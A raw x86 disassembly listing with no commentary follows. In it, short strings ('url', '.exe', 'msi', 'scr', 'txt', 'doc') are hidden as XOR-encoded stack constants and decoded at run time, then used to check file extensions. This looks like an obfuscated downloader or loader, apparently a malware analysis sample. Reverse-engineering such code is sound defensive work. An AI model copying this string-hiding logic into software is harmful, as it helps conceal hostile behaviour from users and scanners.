call fcn.0041d1d0
push 0x38
push dword [ebp - 0x60]
call fcn.004338f3
add esp, 8
jmp 0x489a1b
mov edi, dword [ebp - 0x18]
cmp byte [ebp - 0x29], 0
je 0x48a604
cmp byte [ebp - 0x1c], 0
jne 0x48a604
movzx eax, byte [ebx + 0x70]
sub eax, 0
je 0x48a604
sub eax, 1
je 0x489a53
sub eax, 1
jne 0x489a61
mov eax, dword [ebx + 0x78]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x489a59
mov eax, dword [ebx + 0x78]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x48a604
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x58]
call fcn.0041e450
or edi, 0x10000
mov dword [ebp - 0x18], edi
cmp byte [ebx + 0x70], 1
jne 0x48ef13
lea ecx, [ebp - 0x7c]
call fcn.0041e450
mov byte [ebp - 4], 0x6b
xor eax, eax
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x7c]
cmp byte [ebx + 0x70], 1
mov byte [ebp - 0x28c], 0
cmove eax, dword [ebx + 0x78]
push dword [ecx]
lea ecx, [ebp - 0x1ef8]
push edx
mov eax, dword [eax]
push dword [ebp - 0x28c]
push eax
push dword [eax]
call fcn.0042e7e0
mov esi, dword [ebp - 0x58]
lea eax, [ebp - 0x58]
add esp, 0x14
mov ecx, eax
push dword [esi + 4]
push eax
call fcn.0041d1d0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x78], 0
mov byte [ebp - 4], 0x68
mov eax, dword [ebp - 0x7c]
push dword [eax + 4]
lea eax, [ebp - 0x7c]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x7c]
call fcn.004338f3
mov eax, dword [ebp - 0x58]
add esp, 8
mov byte [ebp - 0xce], 0
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
cmp byte [eax + 0xd], 0
jne 0x48a5d3
nop word [eax + eax]
mov edx, dword [ebp - 0x1c]
test dl, dl
jne 0x48a5d3
mov cl, byte [eax + 0x28]
lea esi, [eax + 0x28]
test cl, cl
je 0x48a5b8
movzx ecx, cl
sub ecx, 0
je 0x48a5b8
sub ecx, 1
je 0x489b7c
sub ecx, 1
jne 0x489b8a
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x489b82
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x48a5b8
push esi
lea ecx, [ebp - 0x98]
call fcn.00417ab0
mov ecx, dword [ebp - 0x98]
movzx eax, byte [ecx]
sub eax, 0
je 0x489bd6
sub eax, 1
je 0x489bc7
sub eax, 1
je 0x489bba
mov dword [ebp - 0x8c], 0
jmp 0x489be0
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
jmp 0x489be0
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
jmp 0x489be0
mov dword [ebp - 0x8c], 1
push esi
lea ecx, [ebp - 0x130]
call fcn.00417ab0
mov eax, dword [ebp - 0x130]
movzx ecx, byte [eax]
sub ecx, 1
je 0x489c19
sub ecx, 1
je 0x489c0b
mov dword [ebp - 0x124], 1
jmp 0x489c2a
mov eax, dword [eax + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x128], eax
jmp 0x489c24
mov eax, dword [eax + 8]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x130]
mov esi, dword [ebp - 0x98]
cmp esi, eax
jne 0x48eeda
movzx ecx, byte [esi]
mov eax, ecx
sub eax, 1
je 0x489c63
sub eax, 1
je 0x489c55
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x124]
jmp 0x489c6f
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x128]
jmp 0x489c6f
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x12c]
setne al
test al, al
je 0x48a5b8
sub ecx, 0
je 0x48eea1
sub ecx, 1
je 0x489ca4
sub ecx, 1
je 0x489c9c
cmp dword [ebp - 0x8c], 0
jne 0x48e808
jmp 0x489cad
mov esi, dword [ebp - 0x90]
jmp 0x489cad
mov esi, dword [ebp - 0x94]
add esi, 0x28
test dl, dl
jne 0x48a5b8
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x50]
call fcn.0041e450
or edi, 0x4000
mov dword [ebp - 0x18], edi
cmp byte [esi], 1
jne 0x48ee4d
lea ecx, [ebp - 0x84]
call fcn.0041e450
mov byte [ebp - 4], 0x73
cmp byte [esi], 1
jne 0x489cec
mov eax, dword [esi + 8]
jmp 0x489cee
xor eax, eax
mov ecx, dword [ebp - 0x84]
lea edx, [ebp - 0x84]
mov eax, dword [eax]
mov byte [ebp - 0x290], 0
push dword [ecx]
lea ecx, [ebp - 0x1f00]
push edx
push dword [ebp - 0x290]
push eax
push dword [eax]
call fcn.0042e7e0
mov esi, dword [ebp - 0x50]
lea eax, [ebp - 0x50]
add esp, 0x14
mov ecx, eax
push dword [esi + 4]
push eax
call fcn.0041d1d0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x80], 0
mov byte [ebp - 4], 0x70
mov eax, dword [ebp - 0x84]
push dword [eax + 4]
lea eax, [ebp - 0x84]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x84]
call fcn.004338f3
mov eax, dword [ebp - 0x50]
add esp, 8
mov byte [ebp - 0xcf], 0
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
cmp byte [eax + 0xd], 0
jne 0x48a529
mov edx, dword [ebp - 0x1c]
test dl, dl
jne 0x48a526
lea esi, [eax + 0x28]
movzx eax, byte [esi]
sub eax, 0
je 0x48a50b
sub eax, 1
je 0x489dd4
sub eax, 1
jne 0x489de2
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x489dda
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x48a50b
push esi
lea ecx, [ebp - 0xa8]
call fcn.00417ab0
mov ecx, dword [ebp - 0xa8]
movzx eax, byte [ecx]
sub eax, 0
je 0x489e2e
sub eax, 1
je 0x489e1f
sub eax, 1
je 0x489e12
mov dword [ebp - 0x9c], 0
jmp 0x489e38
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
jmp 0x489e38
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
jmp 0x489e38
mov dword [ebp - 0x9c], 1
push esi
lea ecx, [ebp - 0x230]
call fcn.00417ab0
mov ecx, dword [ebp - 0x230]
movzx eax, byte [ecx]
sub eax, 1
je 0x489e71
sub eax, 1
je 0x489e63
mov dword [ebp - 0x224], 1
jmp 0x489e7c
mov eax, dword [ecx + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x228], eax
jmp 0x489e7c
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0x22c], eax
mov esi, dword [ebp - 0xa8]
cmp esi, ecx
jne 0x48ee14
movzx ecx, byte [esi]
mov eax, ecx
sub eax, 1
je 0x489eb5
sub eax, 1
je 0x489ea7
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x224]
jmp 0x489ec1
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x228]
jmp 0x489ec1
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x22c]
setne al
test al, al
je 0x48a50b
sub ecx, 0
je 0x48eddb
sub ecx, 1
je 0x489ef6
sub ecx, 1
je 0x489eee
cmp dword [ebp - 0x9c], 0
jne 0x48e841
jmp 0x489eff
mov esi, dword [ebp - 0xa0]
jmp 0x489eff
mov esi, dword [ebp - 0xa4]
add esi, 0x28
test dl, dl
jne 0x48a50b
xorps xmm0, xmm0
mov dword [ebp - 0x348], 0
movups xmmword [ebp - 0x358], xmm0
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 0xf
mov byte [ebp - 0x358], dl
mov byte [ebp - 4], 0x78
mov dword [ebp - 0x7c0], 0xdff791e0
mov dword [ebp - 0x7bc], 0xf940fadb
mov eax, dword [ebp - 0x7c0]
mov ecx, dword [ebp - 0x7bc]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x7c8], 0x7dbb92e6
mov dword [ebp - 0x7c4], 0x14d846fe
mov eax, dword [ebp - 0x7c8]
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x7d0], 0xdf9be395
mov dword [ebp - 0x7cc], 0xf940fadb
mov eax, dword [ebp - 0x7d0]
mov ecx, dword [ebp - 0x7cc]
mov dword [ebp - 0x7d8], 0x7dbb92e6
mov dword [ebp - 0x1bf0], eax
mov dword [ebp - 0x7d4], 0x14d846fe
mov eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x1bec], ecx
mov ecx, dword [ebp - 0x7d4]
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x1be8], eax
mov dword [ebp - 0x1be4], ecx
xorps xmm1, xmmword [ebp - 0x1bf0]
movaps xmmword [ebp - 0x330], xmm1
cmp byte [esi], dl
jne 0x48a02e
push 1
lea ecx, [ebp - 0x1560]
mov byte [esi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x1560]
mov ecx, dword [ebp - 0x155c]
mov dword [esi + 8], eax
mov dword [esi + 0xc], ecx
cmp byte [esi], 1
jne 0x48ed87
mov edi, dword [esi + 8]
lea ecx, [ebp - 0x330]
xorps xmm0, xmm0
mov dword [ebp - 0x13ac], 0
movups xmmword [ebp - 0x13bc], xmm0
mov dword [ebp - 0x13a8], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x48a061
sub ecx, edx
lea eax, [ebp - 0x330]
push ecx
push eax
lea ecx, [ebp - 0x13bc]
call fcn.00403040
mov byte [ebp - 4], 0x79
lea eax, [ebp - 0x13bc]
push eax
lea eax, [ebp - 0x1f08]
mov ecx, edi
push eax
call fcn.00426db0
mov edi, dword [eax]
mov byte [ebp - 4], 0x78
mov ecx, dword [ebp - 0x13a8]
cmp ecx, 0xf
jbe 0x48a0d6
mov edx, dword [ebp - 0x13bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x48a0cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x48ec04
push ecx
push edx
call fcn.004338f3
add esp, 8
mov dword [ebp - 0x13ac], 0
mov dword [ebp - 0x13a8], 0xf
mov byte [ebp - 0x13bc], 0
cmp byte [edi + 0x28], 0
je 0x48a2bd
mov dword [ebp - 0x7e0], 0xdff791e0
mov dword [ebp - 0x7dc], 0xf940fadb
mov eax, dword [ebp - 0x7e0]
mov ecx, dword [ebp - 0x7dc]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x7e8], 0x7dbb92e6
mov dword [ebp - 0x7e4], 0x14d846fe
mov eax, dword [ebp - 0x7e8]
mov ecx, dword [ebp - 0x7e4]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x7f0], 0xdf9be395
mov dword [ebp - 0x7ec], 0xf940fadb
mov eax, dword [ebp - 0x7f0]
mov ecx, dword [ebp - 0x7ec]
mov dword [ebp - 0x7f8], 0x7dbb92e6
mov dword [ebp - 0x1c00], eax
mov dword [ebp - 0x7f4], 0x14d846fe
mov eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x1bfc], ecx
mov ecx, dword [ebp - 0x7f4]
movaps xmm1, xmmword [ebp - 0x340]
mov dword [ebp - 0x1bf8], eax
mov dword [ebp - 0x1bf4], ecx
xorps xmm1, xmmword [ebp - 0x1c00]
movaps xmmword [ebp - 0x340], xmm1
cmp byte [esi], 0
jne 0x48a1e7
push 1
lea ecx, [ebp - 0x1568]
mov byte [esi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x1568]
mov ecx, dword [ebp - 0x1564]
mov dword [esi + 8], eax
mov dword [esi + 0xc], ecx
cmp byte [esi], 1
jne 0x48ed2e
mov esi, dword [esi + 8]
lea ecx, [ebp - 0x340]
xorps xmm0, xmm0
mov dword [ebp - 0xec0], 0
movups xmmword [ebp - 0xed0], xmm0
mov dword [ebp - 0xebc], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x48a220
sub ecx, edx
lea eax, [ebp - 0x340]
push ecx
push eax
lea ecx, [ebp - 0xed0]
call fcn.00403040
mov byte [ebp - 4], 0x7c
lea eax, [ebp - 0xed0]
push eax
lea eax, [ebp - 0x1f10]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x78
mov eax, dword [ebp - 0xebc]
cmp eax, 0xf
jbe 0x48a27c
push eax
push dword [ebp - 0xed0]
lea eax, [ebp - 0xed0]
push eax
call fcn.00402fe0
add esp, 0xc
lea eax, [ebp - 0x1570]
mov dword [ebp - 0xec0], 0
push eax
lea ecx, [esi + 0x28]
mov dword [ebp - 0xebc], 0xf
mov byte [ebp - 0xed0], 0
call fcn.004219a0
push dword [ebp - 0x156c]
lea ecx, [ebp - 0x358]
push dword [ebp - 0x1570]
call fcn.00416130
sub esp, 0x18
lea eax, [ebp - 0x358]
mov esi, esp
mov dword [ebp - 0x1d5c], esp
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [ebp - 0x344], 0xf
mov edi, dword [ebp - 0x348]
cmova eax, dword [ebp - 0x358]
mov dword [ebp - 0x28], eax
cmp edi, 0x7fffffff
ja 0x48ed82
cmp edi, 0xf
ja 0x48a31c
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x48a36b
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x48a32f
mov eax, closesocket
jmp 0x48a33a
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x190], eax
lea eax, [ebp - 0x190]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0x190]
mov dword [esi], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x28]
push eax
call fcn.00435270
add esp, 0x14
mov byte [ebp - 4], 0x7f
sub esp, 0xc
mov esi, esp
mov byte [ebp - 0x29], 0
mov dword [ebp - 0x1d58], esp
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x6c]
sar eax, 3
imul eax, eax, 0xaaaaaaab
test eax, eax
je 0x48a472
cmp eax, 0xaaaaaaa
ja 0x48ec0e
lea edi, [eax + eax*2]
shl edi, 3
cmp edi, 0x1000
jb 0x48a3eb
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x48ec09
push eax
call fcn.00433672
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x48ec04
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x48a3fc
test edi, edi
je 0x48a3fa
push edi
call fcn.00433672
add esp, 4
jmp 0x48a3fc
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
add eax, edi
mov dword [esi + 8], eax
mov dword [ebp - 0x294], esi
mov byte [ebp - 4], 0x80
mov edi, dword [esi]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x1358], edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x135c], edi
mov dword [ebp - 0x1354], esi
mov byte [ebp - 4], 0x81
cmp eax, ecx
je 0x48a457
push eax
mov ecx, edi
call fcn.004163b0
mov eax, dword [ebp - 0x24]
add edi, 0x18
add eax, 0x18
mov dword [ebp - 0x1358], edi
mov dword [ebp - 0x24], eax
cmp eax, dword [ebp - 0x28]
jne 0x48a438
mov dword [ebp - 0x135c], edi
mov byte [ebp - 4], 0x80
mov dword [esi + 4], edi
mov dword [ebp - 0x294], 0
mov byte [ebp - 4], 0x7f
mov byte [ebp - 4], 0x82
mov byte [ebp - 4], 0x78
mov cl, byte [ebp - 0x29]
call fcn.004d6ed0
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx ecx, cl
mov eax, 1
cmovne ecx, eax
mov byte [ebp - 0x1c], cl
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x358]
call fcn.00402df0
mov esi, dword [ebp - 0xa8]
movzx eax, byte [esi]
sub eax, 1
je 0x48a4da
mov ecx, dword [ebp - 0x230]
mov edx, dword [ebp - 0x1c]
sub eax, 1
je 0x48a4ce
inc dword [ebp - 0x9c]
jmp 0x489e82
add dword [ebp - 0xa0], 0x10
jmp 0x489e82
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x194], eax
call fcn.00417990
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x230]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], eax
jmp 0x489e82
lea ecx, [ebp - 0x198]
call fcn.00417990
mov eax, dword [ebp - 0x198]
cmp byte [eax + 0xd], 0
je 0x489da3
mov edi, dword [ebp - 0x18]
and edi, 0xffffbfff
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x68
mov eax, dword [ebp - 0x50]
push dword [eax + 4]
lea eax, [ebp - 0x50]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x50]
call fcn.004338f3
mov esi, dword [ebp - 0x98]
add esp, 8
movzx eax, byte [esi]
sub eax, 1
je 0x48a587
mov edx, dword [ebp - 0x1c]
sub eax, 1
mov eax, dword [ebp - 0x130]
je 0x48a57b
inc dword [ebp - 0x8c]
jmp 0x489c30
add dword [ebp - 0x90], 0x10
jmp 0x489c30
mov eax, dword [ebp - 0x94]
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], eax
call fcn.00417990
mov eax, dword [ebp - 0x19c]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x130]
jmp 0x489c30
lea ecx, [ebp - 0x1a0]
call fcn.00417990
mov eax, dword [ebp - 0x1a0]
cmp byte [eax + 0xd], 0
je 0x489b40
and edi, 0xfffeffff
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x58]
push dword [eax + 4]
lea eax, [ebp - 0x58]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x58]
call fcn.004338f3
add esp, 8
jmp 0x48a604
mov byte [ebp - 0x1c], 1
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1e28]
call fcn.00402df0
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x6c]
call fcn.004185d0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1e40]
call fcn.00402df0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x268]
push dword [ebp - 0x270]
call fcn.00417af0
mov edx, dword [ebp - 0x2f8]
mov eax, edx
mov ecx, dword [ebp - 0x2fc]
sub eax, ecx
mov esi, dword [ebp - 0x1a4]
sar eax, 3
inc esi
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x1a4], esi
cmp esi, eax
jb 0x487210
sub edx, ecx
je 0x48a67f
cmp byte [ebp - 0x1c], 0
je 0x48e5a2
mov dword [ebp - 0x800], 0xbae386bb
mov dword [ebp - 0x7fc], 0xf940fadb
mov eax, dword [ebp - 0x800]
mov ecx, dword [ebp - 0x7fc]
mov dword [ebp - 0x1190], eax
mov dword [ebp - 0x118c], ecx
mov dword [ebp - 0x808], 0x7dbb92e6
mov dword [ebp - 0x804], 0x14d846fe
mov eax, dword [ebp - 0x808]
mov ecx, dword [ebp - 0x804]
mov dword [ebp - 0x1188], eax
mov dword [ebp - 0x1184], ecx
mov dword [ebp - 0x810], 0xdf9be395
mov dword [ebp - 0x80c], 0xf940fadb
mov eax, dword [ebp - 0x810]
mov ecx, dword [ebp - 0x80c]
mov dword [ebp - 0x15f0], eax
mov dword [ebp - 0x818], 0x7dbb92e6
mov dword [ebp - 0x15ec], ecx
mov dword [ebp - 0x814], 0x14d846fe
mov eax, dword [ebp - 0x818]
mov ecx, dword [ebp - 0x814]
movaps xmm1, xmmword [ebp - 0x1190]
mov dword [ebp - 0x15e8], eax
lea eax, [ebp - 0x1190]
mov dword [ebp - 0x15e4], ecx
lea ecx, [ebp - 0x1f0]
xorps xmm1, xmmword [ebp - 0x15f0]
push eax
movaps xmmword [ebp - 0x1190], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x85
sub esp, 0x18
mov dword [ebp - 0x820], 0xdf9be3bb
mov dword [ebp - 0x81c], 0xf940fadb
mov eax, dword [ebp - 0x820]
mov ecx, dword [ebp - 0x81c]
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x119c], ecx
mov dword [ebp - 0x828], 0x7dbb92e6
mov dword [ebp - 0x824], 0x14d846fe
mov eax, dword [ebp - 0x828]
mov ecx, dword [ebp - 0x824]
mov dword [ebp - 0x1198], eax
mov dword [ebp - 0x1194], ecx
mov dword [ebp - 0x830], 0xdf9be395
mov dword [ebp - 0x82c], 0xf940fadb
mov eax, dword [ebp - 0x830]
mov ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x1600], eax
mov dword [ebp - 0x838], 0x7dbb92e6
mov dword [ebp - 0x15fc], ecx
mov dword [ebp - 0x834], 0x14d846fe
mov eax, dword [ebp - 0x838]
mov ecx, dword [ebp - 0x834]
movaps xmm1, xmmword [ebp - 0x11a0]
mov dword [ebp - 0x15f8], eax
lea eax, [ebp - 0x11a0]
mov dword [ebp - 0x15f4], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x1600]
mov dword [ebp - 0x1d54], esp
push eax
movaps xmmword [ebp - 0x11a0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x86
sub esp, 0x18
lea eax, [ebp - 0x1d24]
mov dword [ebp - 0x1d50], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x87
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x1368]
call fcn.004e64d0
add esp, 0x30
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x1368]
call fcn.00415220
test eax, eax
je 0x48b6e1
call fcn.00415220
dec eax
push eax
call fcn.00415200
push eax
lea ecx, [ebp - 0x1f0]
call fcn.00416290
mov dword [ebp - 0x840], 0xdffe9bf0
mov dword [ebp - 0x83c], 0xf940fadb
mov eax, dword [ebp - 0x840]
mov ecx, dword [ebp - 0x83c]
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11ac], ecx
mov dword [ebp - 0x848], 0x7dbb92e6
mov dword [ebp - 0x844], 0x14d846fe
mov eax, dword [ebp - 0x848]
mov ecx, dword [ebp - 0x844]
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], ecx
mov dword [ebp - 0x850], 0xdf9be395
mov dword [ebp - 0x84c], 0xf940fadb
mov eax, dword [ebp - 0x850]
mov ecx, dword [ebp - 0x84c]
mov dword [ebp - 0x1610], eax
mov dword [ebp - 0x858], 0x7dbb92e6
mov dword [ebp - 0x160c], ecx
mov dword [ebp - 0x854], 0x14d846fe
mov eax, dword [ebp - 0x858]
mov ecx, dword [ebp - 0x854]
movaps xmm1, xmmword [ebp - 0x11b0]
mov dword [ebp - 0x1608], eax
lea eax, [ebp - 0x11b0]
mov dword [ebp - 0x1604], ecx
lea ecx, [ebp - 0x2328]
xorps xmm1, xmmword [ebp - 0x1610]
push eax
movaps xmmword [ebp - 0x11b0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x89
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 1
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x860], 0xdff290f8
mov dword [ebp - 0x85c], 0xf940fadb
mov eax, dword [ebp - 0x860]
mov ecx, dword [ebp - 0x85c]
mov dword [ebp - 0x11c0], eax
mov dword [ebp - 0x11bc], ecx
mov dword [ebp - 0x868], 0x7dbb92e6
mov dword [ebp - 0x864], 0x14d846fe
mov eax, dword [ebp - 0x868]
mov ecx, dword [ebp - 0x864]
mov dword [ebp - 0x11b8], eax
mov dword [ebp - 0x11b4], ecx
mov dword [ebp - 0x870], 0xdf9be395
mov dword [ebp - 0x86c], 0xf940fadb
mov eax, dword [ebp - 0x870]
mov ecx, dword [ebp - 0x86c]
mov dword [ebp - 0x1620], eax
mov dword [ebp - 0x878], 0x7dbb92e6
mov dword [ebp - 0x161c], ecx
mov dword [ebp - 0x874], 0x14d846fe
mov eax, dword [ebp - 0x878]
mov ecx, dword [ebp - 0x874]
movaps xmm1, xmmword [ebp - 0x11c0]
mov dword [ebp - 0x1618], eax
lea eax, [ebp - 0x11c0]
mov dword [ebp - 0x1614], ecx
lea ecx, [ebp - 0x2310]
xorps xmm1, xmmword [ebp - 0x1620]
push eax
movaps xmmword [ebp - 0x11c0], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8a
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 2
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x880], 0xdfe980e6
mov dword [ebp - 0x87c], 0xf940fadb
mov eax, dword [ebp - 0x880]
mov ecx, dword [ebp - 0x87c]
mov dword [ebp - 0x11d0], eax
mov dword [ebp - 0x11cc], ecx
mov dword [ebp - 0x888], 0x7dbb92e6
mov dword [ebp - 0x884], 0x14d846fe
mov eax, dword [ebp - 0x888]
mov ecx, dword [ebp - 0x884]
mov dword [ebp - 0x11c8], eax
mov dword [ebp - 0x11c4], ecx
mov dword [ebp - 0x890], 0xdf9be395
mov dword [ebp - 0x88c], 0xf940fadb
mov eax, dword [ebp - 0x890]
mov ecx, dword [ebp - 0x88c]
mov dword [ebp - 0x1630], eax
mov dword [ebp - 0x898], 0x7dbb92e6
mov dword [ebp - 0x162c], ecx
mov dword [ebp - 0x894], 0x14d846fe
mov eax, dword [ebp - 0x898]
mov ecx, dword [ebp - 0x894]
movaps xmm1, xmmword [ebp - 0x11d0]
mov dword [ebp - 0x1628], eax
lea eax, [ebp - 0x11d0]
mov dword [ebp - 0x1624], ecx
lea ecx, [ebp - 0x22f8]
xorps xmm1, xmmword [ebp - 0x1630]
push eax
movaps xmmword [ebp - 0x11d0], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8b
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 4
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x8a0], 0xdfef9be1
mov dword [ebp - 0x89c], 0xf940fadb
mov eax, dword [ebp - 0x8a0]
mov ecx, dword [ebp - 0x89c]
mov dword [ebp - 0x11e0], eax
mov dword [ebp - 0x11dc], ecx
mov dword [ebp - 0x8a8], 0x7dbb92e6
mov dword [ebp - 0x8a4], 0x14d846fe
mov eax, dword [ebp - 0x8a8]
mov ecx, dword [ebp - 0x8a4]
mov dword [ebp - 0x11d8], eax
mov dword [ebp - 0x11d4], ecx
mov dword [ebp - 0x8b0], 0xdf9be395
mov dword [ebp - 0x8ac], 0xf940fadb
mov eax, dword [ebp - 0x8b0]
mov ecx, dword [ebp - 0x8ac]
mov dword [ebp - 0x1640], eax
mov dword [ebp - 0x8b8], 0x7dbb92e6
mov dword [ebp - 0x163c], ecx
mov dword [ebp - 0x8b4], 0x14d846fe
mov eax, dword [ebp - 0x8b8]
mov ecx, dword [ebp - 0x8b4]
movaps xmm1, xmmword [ebp - 0x11e0]
mov dword [ebp - 0x1638], eax
lea eax, [ebp - 0x11e0]
mov dword [ebp - 0x1634], ecx
lea ecx, [ebp - 0x22e0]
xorps xmm1, xmmword [ebp - 0x1640]
push eax
movaps xmmword [ebp - 0x11e0], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8c
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 8
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x8c0], 0xdff88cf1
mov dword [ebp - 0x8bc], 0xf940fadb
mov eax, dword [ebp - 0x8c0]
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp - 0x11f0], eax
mov dword [ebp - 0x11ec], ecx
mov dword [ebp - 0x8c8], 0x7dbb92e6
mov dword [ebp - 0x8c4], 0x14d846fe
